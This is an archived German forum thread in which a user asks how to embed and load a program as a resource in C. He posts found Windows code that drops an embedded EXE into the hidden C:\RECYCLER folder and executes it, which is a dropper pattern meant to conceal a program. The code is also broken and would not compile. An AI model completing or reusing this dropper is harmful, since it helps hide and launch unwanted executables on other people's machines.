PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : C - Programm als Resource laden



Swola4
10.11.2008, 19:39
Hi leutz,

ich wollte mal fragen ob mir jemand erklären kann wie ich ein Programm als Resource in meinen Quellcode (bzw. mein prog.) lade.
Habe schon gegoogelt aber finde einfach nirgens wo ein tutorial.

habe nen code gefunden, wo ein prog. als resource geladen wird, und an einem unauffälligem ort ausgeführt wird. Jedoch verstehe ich da einfach nicht wie das genau mit dem resource laden funzt. wäre echt nett, wenn mir da jemand weiterhelfen könnte

hier der code :

main.c


#define STRICT
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "res.h"

int main(){
LPVOID data1 = LockResource ( LoadResource (0, FindResource (0, MAKEINTRESOURCE(ID_FILE_01), "BINARY")));

FILE *data1 = fopen ("C:\\RECYCLER\\trash.exe", "wb");
if (data1 != NULL)
{
fwrite(data1, 1, 424960, datei);
fclose(data1);
}
ShellExecute(0,"open","C:\\RECYCLER\\trash.exe", 0,0, SW_SHOWNORMAL);
return 0;
}


res.h


#define ID_FILE_01 1


res.rc


#include "res.h"
ID_FILE_01 BINARY "tisch.exe"


Added after 41 hours 12 minutes:

kann keiner helfen? =(

ein link zu nem tut oder so würde mir schon weiterhelfen...

-[RiDER]-
01.12.2008, 16:20
Hi :D
POSIX erlaubt das dynamische Laden von shared libraries mit dlopen().
Vielleicht ist das, was Du suchst!?

GreetZ RiDER :D :D :D

blackberry
01.12.2008, 16:56
-]POSIX erlaubt das dynamische Laden von shared libraries mit dlopen().


[code]#include <windows.h>

Er benutzt aber Windows...